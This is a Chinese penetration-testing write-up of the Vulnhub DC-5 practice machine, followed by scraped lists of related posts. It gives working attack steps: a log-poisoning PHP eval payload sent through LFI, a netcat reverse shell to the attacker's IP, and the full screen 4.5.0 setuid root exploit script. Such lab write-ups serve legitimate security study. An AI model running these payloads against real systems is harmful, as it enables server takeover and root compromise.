Vulnhub DC-5靶机渗透
信息搜集
老样子,先找到靶机IP和扫描靶机
nmap -sP 192.168.146.0/24 #找靶机ip
nmap -sS -Pn -A 192.168.146.141 #扫描端口

这次开的是80、111端口,而不是22端口。
查一下rpcbind是什么。
rpcbind是一个RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。简单理解RPC就是一个中介服务。
尝试使用下面链接的方法收集信息,发现不可行。
https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb

直接访问web网站,扫描目录没什么发现。
但是contact us处,重复提交后有个很细微的变化。

再提交一次。

可以看到Copyright后的年份是不同的,这就很奇怪了。
猜测thankyou.php可能是包含了某个页面。fuzz一下,找到了正确的参数file参数,一下就找到了LFI(本地文件包含)漏洞。
getFlag
上面已经说找到了本地文件包含漏洞,那么我们就来利用一下。

直接伪协议走一波读thankyou.php的源码看看。
http://192.168.146.142/thankyou.php?file=php://filter/read=convert.base64-encode/resource=thankyou.php

base64解密一下,果然是直接include了一个文件。

现在就有思路了:include包含文件,会将文件内容当作php代码解析,那么就可以直接包含日志文件getshell。
但是这里要注意一点:如果使用浏览器直接构造的PHP一句话中,其中的特殊字符会被浏览器进行URL转义,导致无法getshell。

所以这里我们可以选择curl,或者直接抓包修改上传
curl -v "http://192.168.146.142/thankyou.php?file=<?php @eval($_POST\[A1oe\]);?>"或者

访问http://192.168.146.142/thankyou.php?file=/var/log/nginx/access.log

很好看来是解析了,直接蚁剑连上。


为了后续方便提权,反弹一个shell
nc 192.168.146.131 4444 -c /bin/bash

非交互式shell很难用,所以为了方便转换为交互式shell(可以得知该靶机装有python环境)
python -c 'import pty; pty.spawn("/bin/bash")'
接下来就该提权了,尝试使用suid提权。
find / -perm -u=s -type f 2>/dev/null

然后大概搜一下不大了解的命令,搜到screen命令时,可以看到它可以执行shell。

然后从这里入手,searchsploit直接搜一下有没有现成的利用工具。

看一眼这个sh脚本
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshellr
流程很简单,使用libhax.c生成一个动态链接库,再用rootshell.c生成一个获取权限的文件rootshell。然后用umask命令用来设置新建文件权限为777,然后就可以使用screen来提权了。
将这个脚本直接上传来执行,发现执行不了。

看来只能试试手动执行了。(libhax.c和rootshell.c上面的代码中有)
root@kali:~# vi libhax.c
root@kali:~# gcc -fPIC -shared -ldl -o libhax.so libhax.c
root@kali:~# vi rootshell.c
root@kali:~# gcc -o rootshell rootshell.c
上传libhax.so和rootshell到靶机。(蚁剑直接拖进去或者nc传输文件)然后按照shell脚本中的顺序执行命令即可。


成功getFlag
总结
本次玩靶机,学习了泄露rpcbind信息的方法(虽然无法利用)。还有就是温习了下LFI漏洞,学习了下suid提权下的screen提权。其他基本都是老套路了。
Vulnhub DC-5靶机渗透的更多相关文章
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- Vulnhub DC-1靶机渗透学习
前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- Vulnhub靶机渗透 -- DC5
信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...
- Vulnhub DC-9靶机渗透
信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.147 #扫描端口等信息 22端口过滤,80端口开放,同样的从80端口入手. 不是现成 ...
- Vulnhub靶机渗透 -- DC6
信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...
- vulnhub-DC:2靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:1靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:3靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...
随机推荐
- Netty源码分析之ChannelPipeline—出站事件的传播
上篇文章中我们梳理了ChannelPipeline中入站事件的传播,这篇文章中我们看下出站事件的传播,也就是ChannelOutboundHandler接口的实现. 1.出站事件的传播示例 我们对上篇 ...
- html5特性简要概括
1.html5主要的设计目的: 互联网语义化,以便更好地被人类和机器阅读 更好的在移动设备上支持web应用 https://www.w3.org/TR/html5 新增内容: 新的语义标签 <h ...
- 小白学 Python 数据分析(16):Matplotlib(一)坐标系
人生苦短,我用 Python 前文传送门: 小白学 Python 数据分析(1):数据分析基础 小白学 Python 数据分析(2):Pandas (一)概述 小白学 Python 数据分析(3):P ...
- JVM 参数(转)
Herry灬凌夜 转自:https://www.cnblogs.com/wuyx/p/9627542.html 常用的JVM配置参数 一.Trace 跟踪参数 在Eclipse中,如何打开GC的监控 ...
- java时间切片工具
项目中经常会遇到根据根据时间区间来查询数据的场景, 如时间跨度大可能相应的sql的执行效率会显著降低, 因此可以对时间区间进行切割成若干个小范围的时间片, 这样不仅可以提高sql的性能还可以做一下并发 ...
- asp.net core 3.x 微信小程序登录库(也可用于abp)
视频教程(使用+实现原理):https://share.weiyun.com/57HKopT 建议直接看视频 源码地址:https://github.com/bxjg1987/abpGeneralMo ...
- css3系列-2.css中常见的样式属性和值
css3系列-2.css中常见的样式属性和值 继续上一篇文章的继续了解css的基础知识,关注我微信公众号:全栈学习笔记 css中常见的样式属性和值 字体与颜色 背景属性 文本属性 边框属性 内外边距 ...
- Arch Linux开启SSH远程安装(1.5)
现在你的眼前应该可以看到[root@archiso~]#的提示. 首先,建立目标机器的网络设置: 安装和升级软件包前,先让本地的包数据库和远程的软件仓库同步是个好习惯. [root@archiso~] ...
- 居家办公之后,鹅厂小哥发现Web开发竟能助力身体健康!
疫情特殊时期,各企业.学校纷纷启用远程办公和学习的方式,在办公期间,除了要完成日常工作安排,还要照顾自身的饮食起居,在高强度的工作节奏和缺少运动锻炼的情况之下,如何及早发现健康隐患,快乐办公?且看鹅厂 ...
- 李瑞红201771010111《面向对象程序设计(java)》第四周学习总结
实验四:类与对象的定义及使用 第一部分:理论知识学习 1.类与对象概念 (1)类是构造对象的模板或蓝图,由类构造对象的过程称为创建类的实例. (2)对象:即数据,对象有三个特性,行为.状态.标识. ...